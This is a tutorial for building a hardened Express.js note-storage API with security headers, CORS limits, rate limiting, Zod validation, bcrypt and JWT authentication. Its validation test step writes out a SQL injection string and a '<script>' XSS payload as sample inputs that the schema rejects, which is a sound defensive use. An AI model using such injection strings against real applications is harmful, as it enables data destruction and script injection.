Build a Hardened API Security Layer
Build a defense-in-depth Express API that stops OWASP Top 10 attacks.
Introduction
30 Second Summary
Every API you use daily for banking, messaging, or shopping is under constant attack from bots and hackers trying to exploit weak spots. The difference between an API that gets breached and one that stays secure comes down to layers of defense built into the code itself.
In this project, you will build a hardened Express.js API called "Secure Vault" with six defensive middleware layers that map directly to the OWASP Top 10 2025. You will then run simulated attacks against your own API to prove each defense works.
What You'll Build
A secure note-storage API wrapped in layered security middleware that stops injection, brute-force, cross-site scripting, and unauthorized access attacks.
By the end of this project, you'll have:
- A 6-layer security middleware stack including rate limiting, input validation, security headers, and access control that addresses 6 of the OWASP Top 10 2025 categories.
- JWT-based authentication with bcrypt password hashing and brute-force protection.
- A simulated attack suite that proves each defense layer stops real attack patterns including SQL injection, XSS, and IDOR attempts.
- Secret Mission: Add real-time intrusion detection that auto-blocks IPs after detecting attack patterns in the security logs.
Are there any prerequisites?
This project assumes intermediate JavaScript and Node.js knowledge. You should also have a basic understanding of HTTP and REST APIs.
If you have built a basic Express server before and understand how routes and middleware work, you are ready for this project.
Set Up the Project and Install Dependencies
Before you can build security defenses, you need a solid foundation. Every middleware layer you add later depends on a properly configured Express project with the right dependencies in place.
In this step, you will create the project folder, install the security middleware stack, and wire up a minimal server to confirm everything works together.
In this step, get ready to:
- Initialize a Node.js project with pinned security dependencies.
- Create the folder structure for middleware, routes, and utilities.
- Verify the server starts without errors.
Initialize the project and install dependencies
You need a dedicated folder for this project and a package.json that declares all the security packages upfront.
- Move to your Desktop by running this command:
cd ~/Desktop
- Create your project folder and move into it by running these commands:
mkdir secure-vault-api
cd secure-vault-api
- Confirm the folder exists by running:
ls
You should see the secure-vault-api folder listed in the output.
- In your editor, click File in the top menu bar.
- Click Open Folder.
- Select the secure-vault-api folder on your Desktop, then click Open.
Now you will create package.json directly with all the dependencies pre-declared. This lets npm install everything in one shot.
- Create a new file called package.json in the root of your secure-vault-api folder and paste this content:
{
"name": "secure-vault-api",
"version": "1.0.0",
"description": "Hardened Express API with OWASP Top 10 defenses",
"main": "src/server.js",
"type": "module",
"scripts": {
"start": "node src/server.js",
"dev": "node --watch src/server.js"
},
"dependencies": {
"bcrypt": "6.0.0",
"cors": "2.8.5",
"express": "4.21.2",
"express-rate-limit": "7.5.0",
"helmet": "8.0.0",
"jsonwebtoken": "9.0.2",
"pino": "9.6.0",
"zod": "3.24.2"
}
}
What does this file do?
The package.json declares your project's identity and dependencies. The "type": "module" field enables ES module import/export syntax instead of older require() calls.
The dev script uses Node's built-in --watch flag to automatically restart the server whenever you save a file. This requires Node.js 20.13+ or 22+.
- helmet sets security headers (CSP, HSTS, X-Frame-Options).
- express-rate-limit throttles abusive request volumes.
- zod validates and sanitizes incoming data at the boundary.
- bcrypt hashes passwords with adaptive cost.
- jsonwebtoken handles token-based authentication.
- pino provides fast, structured JSON logging.
- Save package.json.
- Install all declared dependencies by running this command in your terminal:
npm install
- Wait for the install to finish. You should see output listing the added packages and a node_modules folder appear in your project.
Install failing or showing errors?
- Make sure your terminal is inside the secure-vault-api folder. Run pwd to check.
- If you see permission errors on macOS, try prefixing with sudo. On Windows, run your terminal as Administrator.
- If bcrypt fails to compile, make sure you have build tools installed (Xcode CLI tools on macOS, or the "Desktop development with C++" workload in Visual Studio Build Tools on Windows).
Still stuck? Help me debug my npm install error for the secure-vault-api project.
Create the project folder structure
A clean folder structure separates concerns from the start. Each security layer gets its own file inside src/middleware/, routes live in src/routes/, and shared helpers go in src/utils/.
- Create the directory structure by running this command:
mkdir -p src/middleware src/routes src/utils
- Confirm the folders exist by running:
ls src
You should see middleware, routes, and utils listed in the output.
Now you will create the structured logger. Every security event in this project gets recorded through this logger, so it needs to exist before the server.
- Create a new file at src/utils/logger.js and paste this content:
import pino from 'pino';
export const logger = pino({
level: 'info',
transport: {
target: 'pino/file',
options: { destination: './security.log', mkdir: true },
},
formatters: {
level(label) {
return { level: label };
},
},
timestamp: pino.stdTimeFunctions.isoTime,
});
What does this code do?
This creates a Pino logger that writes structured JSON to a security.log file. Structured logs are machine-readable, which makes them searchable when you need to investigate an attack.
- destination: './security.log' writes logs to a file instead of cluttering the terminal.
- mkdir: true creates the target directory if it does not exist.
- The formatters.level function outputs human-readable level names (like info or warn) instead of numeric codes.
- Save src/utils/logger.js.
Next, you will create the minimal server that imports this logger and confirms the full dependency chain works.
- Create a new file at src/server.js and paste this content:
import express from 'express';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
What does this code do?
This is the skeleton of your API. It starts an Express server on port 3000 with a single /health endpoint that returns a JSON response.
- The /health route is a standard pattern for confirming the server is alive.
- logger.info writes a structured startup message to security.log, proving Express and Pino are wired together.
- Save src/server.js.
✔️ Awesome, I've got everything!
Great. Double check you have saved both files before moving on.
ⓧ I'd like to double check the full code
Here is package.json:
{
"name": "secure-vault-api",
"version": "1.0.0",
"description": "Hardened Express API with OWASP Top 10 defenses",
"main": "src/server.js",
"type": "module",
"scripts": {
"start": "node src/server.js",
"dev": "node --watch src/server.js"
},
"dependencies": {
"bcrypt": "6.0.0",
"cors": "2.8.5",
"express": "4.21.2",
"express-rate-limit": "7.5.0",
"helmet": "8.0.0",
"jsonwebtoken": "9.0.2",
"pino": "9.6.0",
"zod": "3.24.2"
}
}
Here is src/utils/logger.js:
import pino from 'pino';
export const logger = pino({
level: 'info',
transport: {
target: 'pino/file',
options: { destination: './security.log', mkdir: true },
},
formatters: {
level(label) {
return { level: label };
},
},
timestamp: pino.stdTimeFunctions.isoTime,
});
Here is src/server.js:
import express from 'express';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
Verify the server starts without errors
Running the server proves that Express, Pino, and the ES module system are all working together. If any dependency is missing or misconfigured, this is where it surfaces.
- Start the development server by running this command:
npm run dev
- You should see no errors in the terminal. The process stays running (it does not print a visible message to the terminal because Pino writes to the log file instead).
- Open a new terminal tab or window. Test the health endpoint by running:
curl http://localhost:3000/health
You should see a JSON response like this:
{"status":"ok","timestamp":"2026-06-03T12:00:00.000Z"}
- Confirm the security log file was created by running:
cat security.log
You should see a JSON line containing "msg":"Secure Vault API started" and "port":3000.
Server not starting?
- If you see Cannot find module, double check that src/utils/logger.js exists and that the import path in server.js matches exactly: './utils/logger.js'.
- If you see SyntaxError: Cannot use import statement, confirm your package.json has "type": "module".
- If port 3000 is already in use, stop the other process first or change the PORT value temporarily.
Need more help? Help me troubleshoot my server startup error.
- Once you have confirmed the health endpoint works, press Ctrl+C in the terminal running the server to stop it.
Your foundation is solid. You have a running Express server, a structured logger, and every security package ready to go. Next up, you will layer on security headers and server hardening to lock down the HTTP response surface.
Add Security Headers and CORS Hardening
Your Express server is running, but it has zero security controls. An attacker can read your server's technology stack from the response headers, inject malicious scripts via cross-site scripting, or trick a browser into loading your API in a hidden iframe.
In this step, you will add the first three defensive layers to your API. Each layer maps to a specific OWASP Top 10 2025 category: security headers (A02 Security Misconfiguration), CORS hardening, and body size limiting to prevent payload-based denial-of-service attacks.
In this step, get ready to:
- Configure Helmet with a strict Content Security Policy and HSTS.
- Harden CORS with an explicit origin allowlist and restricted HTTP methods.
- Verify your security headers appear in every API response.
Configure Helmet with strict security headers
Every HTTP response from your server carries headers that tell the browser what it is and isn't allowed to do. Without explicit security headers, browsers assume the most permissive defaults.
- In src/server.js, find the existing import at the top of your file. Add these two imports between import express from 'express'; and import { logger } from './utils/logger.js';:
import helmet from 'helmet';
import cors from 'cors';
- Below the line const PORT = 3000;, add the Helmet middleware configuration by pasting this code:
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
What does this code do?
The contentSecurityPolicy (CSP) object tells browsers to only load scripts, styles, images, and fonts from your own origin ('self'). Setting objectSrc to 'none' blocks Flash and Java plugins entirely. Setting frameAncestors to 'none' prevents other sites from embedding your API in an iframe (clickjacking protection).
The hsts block sets HSTS (Strict-Transport-Security) with a two-year max age. This tells browsers to always connect over HTTPS, even if a user types http://. The preload flag signals that your domain can be added to the browser's built-in HSTS preload list.
You won't see a change yet. The next chunk adds the remaining middleware, then you will test all headers together.
Add CORS and body size limiting
CORS (Cross-Origin Resource Sharing) controls which domains can call your API from a browser. Using a wildcard (*) is dangerous because any website could make requests to your server on behalf of a logged-in user.
- In src/server.js, add the following code directly below the closing )); of the Helmet block and above the app.get('/health' route:
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
What does this code do?
The cors() middleware uses an explicit allowlist (origin: ['http://localhost:3000']) instead of a wildcard. Only browsers on this exact origin can read your API responses. The methods array restricts which HTTP verbs are allowed. The maxAge: 600 caches preflight results for 10 minutes, reducing OPTIONS requests.
The body size limiters (express.json and express.urlencoded) cap incoming request bodies at 10 KB. If an attacker sends a massive JSON payload to exhaust your server's memory, Express rejects it before your route code ever runs.
- Save src/server.js.
- Your dev server (if you started it with npm run dev) auto-restarts on save. If you used npm start, stop the server with Ctrl+C and restart it.
Server crashing on restart?
Check that both import helmet from 'helmet'; and import cors from 'cors'; are at the top of the file, before const app = express();. A missing or misplaced import causes a ReferenceError.
Also confirm that the Helmet and CORS blocks are placed after const app = express(); and before your routes. Middleware order matters in Express.
Help me debug my server crash
Verify the security headers
Your API now sets security headers on every response. Time to prove it by inspecting the raw HTTP headers that come back from your server.
- Confirm the security headers are present by running this command in a new terminal tab:
curl -i http://localhost:3000/health
- Look at the response headers printed above the JSON body.
- You should see content-security-policy with a long directive string, strict-transport-security with max-age=63072000, x-content-type-options: nosniff, and x-frame-options: SAMEORIGIN.
- You should NOT see an x-powered-by header. Helmet removes it automatically so attackers cannot fingerprint your server as Express.
Why is removing X-Powered-By important?
By default, Express advertises itself with X-Powered-By: Express on every response. Attackers use this to look up known Express vulnerabilities and target your server specifically. Helmet strips this header so your server reveals nothing about its technology stack.
Not seeing the security headers?
Make sure your server is actually running on port 3000. Check the terminal where you started it for the Secure Vault API started log message.
If you see Connection refused, the server is not running. Restart it with npm run dev and try the curl command again.
Help me troubleshoot my missing security headers
✔️ Awesome, I've got everything!
Great. Double check you have saved src/server.js and your server is running cleanly.
ⓧ I'd like to double check the full code
Here is what your src/server.js should look like at the end of this step:
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
Your API now has three hardening layers in place. Every response carries strict security headers, cross-origin access is locked to an explicit allowlist, and oversized payloads get rejected before they reach your routes. Next up, you will add rate limiting to protect your authentication endpoints from brute-force attacks.
Implement Rate Limiting and Brute-Force Protection
Your server now rejects browser-based exploits with security headers and blocks unauthorized origins with CORS. But none of that stops an attacker who can send thousands of requests directly to your API.
Rate limiting caps how many requests a single client can make within a time window. In this step, you'll add a global rate limiter that protects the entire API from abuse. You'll also learn how a stricter auth-specific limiter will stop brute-force password attacks in a later step.
In this step, get ready to:
- Add a global rate limiter that caps traffic at 100 requests per 15 minutes.
- Configure standard RateLimit headers and a custom JSON error response.
- Test rate limiting by inspecting response headers.
Add the global rate limiter to your server
Without rate limiting, a single client could flood your API with requests and overwhelm it. This is the basis of brute-force attacks and denial-of-service attacks. The express-rate-limit package tracks requests per IP address and blocks any client that exceeds the threshold.
- In src/server.js, add this import after the cors import at the top of the file:
import { rateLimit } from 'express-rate-limit';
- Next, find the two body size limiting lines (express.json and express.urlencoded). Add this code below them:
// Layer 4: Global Rate Limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests. Please try again later.' },
});
app.use(globalLimiter);
What does this code do?
- windowMs: 15 * 60 * 1000 sets the time window to 15 minutes (expressed in milliseconds).
- limit: 100 allows each IP address a maximum of 100 requests within that window.
- standardHeaders: true adds RateLimit-Limit and RateLimit-Remaining headers to every response so clients can track their own usage.
- legacyHeaders: false disables the older X-RateLimit-* headers that are no longer recommended.
- message defines the JSON response a client receives when they exceed the limit (HTTP 429 status).
Why a global limiter AND an auth-specific limiter?
The global limiter (100 requests per 15 minutes) protects all endpoints from general abuse. In Step 5, you'll add a much stricter limiter (5 attempts per 15 minutes) specifically to the authentication routes.
That auth limiter is what stops brute-force password attacks. Even if the global limit allows 100 requests, login attempts get blocked after just 5 failures. This tiered approach maps directly to OWASP A07: Authentication Failures.
- Save src/server.js.
- Restart your server by pressing Ctrl+C in the terminal, then running:
npm run dev
- You should see Secure Vault API started in the terminal with no errors.
Server won't start?
- Check that the import uses curly braces: { rateLimit }. It's a named export, not a default export.
- Make sure the globalLimiter block is placed after express.urlencoded and before the /health route.
- Help me debug why my Express server won't start after adding rate limiting.
Test rate limiting by inspecting response headers
Every response from your API now includes rate limit headers that tell the client exactly how many requests they have left. This transparency lets legitimate clients back off before hitting the limit.
- Open a new terminal window and test the health endpoint by running:
curl -i http://localhost:3000/health
- In the response headers, look for RateLimit-Limit and RateLimit-Remaining values.
What should I see?
Your response should include headers like:
- RateLimit-Limit: 100 showing your maximum requests per window.
- RateLimit-Remaining: 99 showing one less after your request.
- RateLimit-Policy describing the rate limit policy applied.
You'll also see the JSON body: {"status":"ok","timestamp":"..."}. The headers are the important part here.
- Run the same curl command a second time and confirm that RateLimit-Remaining has decreased by 1.
Don't see the RateLimit headers?
- Make sure you used the -i flag with curl. Without it, curl only shows the response body.
- Confirm that standardHeaders: true is set in your globalLimiter config. Without it, no RateLimit headers are sent.
- Why aren't RateLimit headers showing up in my Express API responses?
✔️ Awesome, I've got everything!
Great. Double check you've saved src/server.js and your server is running without errors.
ⓧ I'd like to double check the full code
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import { rateLimit } from 'express-rate-limit';
import { logger } from './utils/logger.js';
const app = express();
const PORT = 3000;
// Layer 1: Security Headers
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
}));
// Layer 2: CORS Hardening
app.use(cors({
origin: ['http://localhost:3000'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 600,
}));
// Layer 3: Body Size Limiting
app.use(express.json({ limit: '10kb' }));
app.use(express.urlencoded({ extended: true, limit: '10kb' }));
// Layer 4: Global Rate Limiting
const globalLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests. Please try again later.' },
});
app.use(globalLimiter);
app.get('/health', (req, res) => {
res.json({ status: 'ok', timestamp: new Date().toISOString() });
});
app.listen(PORT, () => {
logger.info({ port: PORT }, 'Secure Vault API started');
});
Your API now enforces a hard ceiling on request volume. Next up, you'll add input validation with Zod schemas that reject malicious payloads before they ever reach your route handlers.
Build Input Validation with Zod Schemas
Your server now blocks oversized payloads and excessive requests at the network level. But what about the content inside those requests? A request under 10kb can still carry SQL injection strings, XSS payloads, or passwords that are trivially crackable.
Input validation is the boundary defense that inspects what attackers actually send. In this step, you will use Zod to define strict schemas that reject malicious or malformed data before it ever reaches your application logic.
In this step, get ready to:
- Build a reusable validation middleware factory that returns structured errors without leaking internals.
- Create Zod schemas enforcing email format, password complexity, and note length limits.
- Test that malformed payloads are rejected at the validation boundary.
Build the validation middleware factory
Every route in your API needs the same validation logic: parse the request body against a schema, reject invalid data with a 400 response, and pass valid data forward. Instead of repeating this in every route, you will build a single factory function.
- Create a new file called src/middleware/validate.js and add the following code:
export function validate(schema) {
return (req, res, next) => {
// Parse the request body against the provided Zod schema
const result = schema.safeParse(req.body);
if (!result.success) {
// Return structured errors without leaking internal details
return res.status(400).json({
error: 'Validation failed',
details: result.error.flatten().fieldErrors,
});
}
// Replace req.body with the validated and transformed data
req.body = result.data;
next();
};
}
What does this code do?
The validate function takes any Zod schema and returns Express middleware. This factory pattern means you write validation logic once and reuse it across every route.
- schema.safeParse(req.body) checks the body without throwing exceptions. It returns a result object with either valid data or structured errors.
- On failure, the response includes only fieldErrors (which fields failed and why). No stack traces, no internal paths, nothing useful to an attacker.
- On success, req.body is replaced with the parsed output. This means downstream code only ever sees validated, type-safe data.
- Save src/middleware/validate.js.
Why a factory instead of inline validation?
Inline validation in each route handler leads to duplicated error-formatting logic scattered across your codebase. One missed handler becomes an inconsistent error response that leaks information. The factory guarantees every route returns the same sanitized structure.
✔️ Awesome, I've got everything!
Great. Make sure you have saved the file before moving on.
ⓧ I'd like to double check the full code
export function validate(schema) {
return (req, res, next) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Validation failed',
details: result.error.flatten().fieldErrors,
});
}
req.body = result.data;
next();
};
}
Create Zod schemas for registration and notes
Now you will define the schemas that describe what valid data looks like for each endpoint. You will also create the in-memory data store and the route files that use these schemas.
- Create a new file called src/utils/store.js and add the following code:
// In-memory data store (replaces a real database for this project)
const users = [];
const notes = [];
export function findUserByEmail(email) {
return users.find(u => u.email === email);
}
export function createUser(email, passwordHash) {
const user = { id: crypto.randomUUID(), email, passwordHash, createdAt: new Date().toISOString() };
users.push(user);
return { id: user.id, email: user.email };
}
export function findNotesByUserId(userId) {
return notes.filter(n => n.userId === userId);
}
export function findNoteById(noteId) {
return notes.find(n => n.id === noteId);
}
export function createNote(userId, title, body) {
const note = { id: crypto.randomUUID(), userId, title, body, createdAt: new Date().toISOString() };
notes.push(note);
return note;
}
export function deleteNote(noteId) {
const index = notes.findIndex(n => n.id === noteId);
if (index !== -1) notes.splice(index, 1);
}
What does this code do?
This file acts as your database for this project. It stores users and notes in simple arrays and exports helper functions to find, create, and delete records.
Using an in-memory store keeps the project focused on security middleware rather than database setup. The same patterns apply whether your data lives in arrays or a real database.
- Save src/utils/store.js.
✔️ Awesome, I've got everything!
Great. Make sure you have saved the file before moving on.
ⓧ I'd like to double check the full code
// In-memory data store (replaces a real database for this project)
const users = [];
const notes = [];
export function findUserByEmail(email) {
return users.find(u => u.email === email);
}
export function createUser(email, passwordHash) {
const user = { id: crypto.randomUUID(), email, passwordHash, createdAt: new Date().toISOString() };
users.push(user);
return { id: user.id, email: user.email };
}
export function findNotesByUserId(userId) {
return notes.filter(n => n.userId === userId);
}
export function findNoteById(noteId) {
return notes.find(n => n.id === noteId);
}
export function createNote(userId, title, body) {
const note = { id: crypto.randomUUID(), userId, title, body, createdAt: new Date().toISOString() };
notes.push(note);
return note;
}
export function deleteNote(noteId) {
const index = notes.findIndex(n => n.id === noteId);
if (index !== -1) notes.splice(index, 1);
}
Next, you will create the authentication routes file with schemas that enforce email format and password complexity.
- Create a new file called src/routes/auth.js and add the imports, rate limiter, and validation schemas:
import { Router } from 'express';
import bcrypt from 'bcrypt';
import jwt from 'jsonwebtoken';
import { rateLimit } from 'express-rate-limit';
import { z } from 'zod';
import { validate } from '../middleware/validate.js';
import { findUserByEmail, createUser } from '../utils/store.js';
import { JWT_SECRET } from '../middleware/authenticate.js';
import { logger } from '../utils/logger.js';
export const authRoutes = Router();
// Strict rate limit for auth endpoints (5 attempts per 15 minutes)
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 5,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many authentication attempts. Please try again later.' },
});
authRoutes.use(authLimiter);
// Registration schema: strict email + complex password
const registerSchema = z.object({
email: z.string().email().max(254),
password: z.string().min(12).max(72).regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&*])/,
'Password must contain uppercase, lowercase, number, and special character'
),
});
// Login schema: valid email + any non-empty password
const loginSchema = z.object({
email: z.string().email().max(254),
password: z.string().min(1).max(72),
});
What do these schemas enforce?
- registerSchema requires a valid email (max 254 characters per the email spec) and a password between 12-72 characters with uppercase, lowercase, digit, and special character.
- The 72-character max exists because bcrypt silently truncates anything beyond 72 bytes. Accepting longer passwords would give users a false sense of security.
- loginSchema is intentionally less strict. It only checks that both fields exist. You do not want login validation errors to reveal your password policy to attackers.
- Now add the route handlers below the schemas in the same file:
// POST /auth/register
authRoutes.post('/register', validate(registerSchema), async (req, res) => {
const { email, password } = req.body;
if (findUserByEmail(email)) {
// Use same response for "exists" and "created" to prevent user enumeration
return res.status(201).json({ message: 'Registration successful.' });
}
const passwordHash = await bcrypt.hash(password, 12);
const user = createUser(email, passwordHash);
logger.info({ event: 'user_registered', userId: user.id }, 'New user registered');
res.status(201).json({ message: 'Registration successful.' });
});
// POST /auth/login
authRoutes.post('/login', validate(loginSchema), async (req, res) => {
const { email, password } = req.body;
const user = findUserByEmail(email);
// Uniform error message prevents user enumeration
if (!user) {
logger.warn({ event: 'login_failed', email, ip: req.ip }, 'Login failed - user not found');
return res.status(401).json({ error: 'Invalid email or password.' });
}
const isValid = await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
logger.warn({ event: 'login_failed', email, ip: req.ip }, 'Login failed - wrong password');
return res.status(401).json({ error: 'Invalid email or password.' });
}
const token = jwt.sign({ sub: user.id, email: user.email }, JWT_SECRET, { expiresIn: '1h' });
logger.info({ event: 'login_success', userId: user.id }, 'User logged in');
res.json({ token, expiresIn: 3600 });
});
Why return the same response for existing and new users?
Both the registration and login handlers deliberately return uniform error messages. If registration said "email already taken" for existing users, an attacker could enumerate valid accounts. The same 201 response reveals nothing about whether the account exists.
For login, both "user not found" and "wrong password" return the identical "Invalid email or password" message. This prevents attackers from confirming which emails are registered.
- Save src/routes/auth.js.
Seeing a red underline on the authenticate.js import?
The import from ../middleware/authenticate.js references a file you have not created yet. This is expected. You will create it in the next step. The file is safe to save now because nothing imports auth.js into the running server yet.
If your editor complains, help me understand why unresolved imports are safe in unused files.
✔️ Awesome, I've got everything!
Great. Make sure you have saved the file before moving on.
ⓧ I'd like to double check the full code
import { Router } from 'express';
import bcrypt from 'bcrypt';
import jwt from 'jsonwebtoken';
import { rateLimit } from 'express-rate-limit';
import { z } from 'zod';
import { validate } from '../middleware/validate.js';
import { findUserByEmail, createUser } from '../utils/store.js';
import { JWT_SECRET } from '../middleware/authenticate.js';
import { logger } from '../utils/logger.js';
export const authRoutes = Router();
const authLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
limit: 5,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many authentication attempts. Please try again later.' },
});
authRoutes.use(authLimiter);
const registerSchema = z.object({
email: z.string().email().max(254),
password: z.string().min(12).max(72).regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&*])/,
'Password must contain uppercase, lowercase, number, and special character'
),
});
const loginSchema = z.object({
email: z.string().email().max(254),
password: z.string().min(1).max(72),
});
authRoutes.post('/register', validate(registerSchema), async (req, res) => {
const { email, password } = req.body;
if (findUserByEmail(email)) {
return res.status(201).json({ message: 'Registration successful.' });
}
const passwordHash = await bcrypt.hash(password, 12);
const user = createUser(email, passwordHash);
logger.info({ event: 'user_registered', userId: user.id }, 'New user registered');
res.status(201).json({ message: 'Registration successful.' });
});
authRoutes.post('/login', validate(loginSchema), async (req, res) => {
const { email, password } = req.body;
const user = findUserByEmail(email);
if (!user) {
logger.warn({ event: 'login_failed', email, ip: req.ip }, 'Login failed - user not found');
return res.status(401).json({ error: 'Invalid email or password.' });
}
const isValid = await bcrypt.compare(password, user.passwordHash);
if (!isValid) {
logger.warn({ event: 'login_failed', email, ip: req.ip }, 'Login failed - wrong password');
return res.status(401).json({ error: 'Invalid email or password.' });
}
const token = jwt.sign({ sub: user.id, email: user.email }, JWT_SECRET, { expiresIn: '1h' });
logger.info({ event: 'login_success', userId: user.id }, 'User logged in');
res.json({ token, expiresIn: 3600 });
});
Finally, create the notes route file with its own validation schema.
- Create a new file called src/routes/notes.js and add the following code:
import { Router } from 'express';
import { z } from 'zod';
import { validate } from '../middleware/validate.js';
import { authenticate } from '../middleware/authenticate.js';
import { authorizeOwner } from '../middleware/authorizeOwner.js';
import { findNotesByUserId, createNote, deleteNote } from '../utils/store.js';
export const notesRoutes = Router();
// All notes routes require authentication
notesRoutes.use(authenticate);
// Note creation schema: title and body with length limits
const createNoteSchema = z.object({
title: z.string().min(1).max(100).trim(),
body: z.string().min(1).max(5000).trim(),
});
// GET /notes - list user's notes
notesRoutes.get('/', (req, res) => {
const notes = findNotesByUserId(req.user.id);
res.json({ notes });
});
// POST /notes - create a note
notesRoutes.post('/', validate(createNoteSchema), (req, res) => {
const { title, body } = req.body;
const note = createNote(req.user.id, title, body);
res.status(201).json({ note });
});
// GET /notes/:id - get a specific note (ownership enforced)
notesRoutes.get('/:id', authorizeOwner, (req, res) => {
res.json({ note: req.note });
});
// DELETE /notes/:id - delete a note (ownership enforced)
notesRoutes.delete('/:id', authorizeOwner, (req, res) => {
deleteNote(req.note.id);
res.status(204).send();
});
What does the note schema enforce?
- createNoteSchema requires a title between 1-100 characters and a body between 1-5000 characters.
- The .trim() calls strip leading and trailing whitespace. This prevents notes with titles like " " from passing the .min(1) check.
- The 5000-character body limit prevents attackers from storing massive payloads. Combined with the 10kb body parser limit from your server, this creates defense in depth.
- Save src/routes/notes.js.
✔️ Awesome, I've got everything!
Great. Make sure you have saved the file before moving on.
ⓧ I'd like to double check the full code
import { Router } from 'express';
import { z } from 'zod';
import { validate } from '../middleware/validate.js';
import { authenticate } from '../middleware/authenticate.js';
import { authorizeOwner } from '../middleware/authorizeOwner.js';
import { findNotesByUserId, createNote, deleteNote } from '../utils/store.js';
export const notesRoutes = Router();
notesRoutes.use(authenticate);
const createNoteSchema = z.object({
title: z.string().min(1).max(100).trim(),
body: z.string().min(1).max(5000).trim(),
});
notesRoutes.get('/', (req, res) => {
const notes = findNotesByUserId(req.user.id);
res.json({ notes });
});
notesRoutes.post('/', validate(createNoteSchema), (req, res) => {
const { title, body } = req.body;
const note = createNote(req.user.id, title, body);
res.status(201).json({ note });
});
notesRoutes.get('/:id', authorizeOwner, (req, res) => {
res.json({ note: req.note });
});
notesRoutes.delete('/:id', authorizeOwner, (req, res) => {
deleteNote(req.note.id);
res.status(204).send();
});
Test validation with malformed payloads
The route files are not wired into your server yet (that happens in the next step). You can still prove the schemas work by testing them directly with Node.
- Test your registration schema by running this command in your terminal:
node --input-type=module -e "
import { z } from 'zod';
const registerSchema = z.object({
email: z.string().email().max(254),
password: z.string().min(12).max(72).regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&*])/,
'Password must contain uppercase, lowercase, number, and special character'
),
});
// SQL injection attempt
console.log('SQL injection:', JSON.stringify(registerSchema.safeParse({ email: \"admin'; DROP TABLE users;--\", password: 'short' }).error?.flatten().fieldErrors, null, 2));
// XSS attempt
console.log('XSS payload:', JSON.stringify(registerSchema.safeParse({ email: '<script>alert(1)</script>', password: 'weak' }).error?.flatten().fieldErrors, null, 2));
// Valid input
console.log('Valid input:', registerSchema.safeParse({ email: 'user@example.com', password: 'Str0ng!Pass12' }).success);
"
What should I see?
The SQL injection and XSS tests both output field errors. The email field rejects the injection string because it is not a valid email format. The password field rejects both because they fail length and complexity requirements.
The valid input test outputs true. This confirms your schema accepts properly formatted data while rejecting everything else at the boundary.
- Now test the note schema by running:
node --input-type=module -e "
import { z } from 'zod';
const createNoteSchema = z.object({
title: z.string().min(1).max(100).trim(),
body: z.string().min(1).max(5000).trim(),
});
// Oversized body (over 5000 chars)
console.log('Oversized body:', JSON.stringify(createNoteSchema.safeParse({ title: 'Test', body: 'x'.repeat(5001) }).error?.flatten().fieldErrors, null, 2));
// Empty title (whitespace only)
console.log('Whitespace title:', JSON.stringify(createNoteSchema.safeParse({ title: ' ', body: 'content' }).error?.flatten().fieldErrors, null, 2));
// Valid note
console.log('Valid note:', createNoteSchema.safeParse({ title: 'My Note', body: 'Hello world' }).success);
"
The oversized body and whitespace-only title tests both output field errors. The valid note test outputs true.
Seeing a module or import error?
